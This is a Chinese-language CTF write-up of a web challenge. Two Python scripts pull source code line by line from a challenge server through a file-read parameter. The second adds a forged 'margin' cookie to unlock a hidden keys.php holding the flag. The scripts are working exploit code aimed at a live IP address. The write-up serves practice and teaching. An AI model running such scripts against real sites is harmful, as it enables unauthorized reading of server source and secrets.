一、题目打开是一串毫无意义的字符串,抓包也发现不了任何有价值的信息
二、尝试把参数filename的值解码得到真实文件名为keys.txt。
三、根据line和filename两个参数猜测网页显示的可能是filename的第line行,于是尝试将文件名改为index.php(记得将index.php转一下base64)
一行一行的看效率太低,且可能有空行导致代码获得不全,我们写脚本获取前一百行,脚本代码如下
import requests
flag=100
for i in range(flag):
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print(s.text)
成功获取到index.php的源码内容
'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
这段代码的核心逻辑是如果cookie里存在margin字段且字段值为margin,就把keys.php加到数组中,如果数组中存在用户请求的文件名,就显示出该文件的第line行。
到这里问题就很清晰了,我们只需要构造一个含有 "margin":"margin"的cookie并和请求的keys.php文件名一同发送给服务器就可以得到keys.php的源码。
四、带有cookies的请求获得keys.php的前20行:
import requests
flag=20
cookies={"margin":"margin"}
for i in range(flag):
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=a2V5cy5waHA="
s=requests.get(url,cookies=cookies)
print(s.text)
源码即是flag,100pt到手: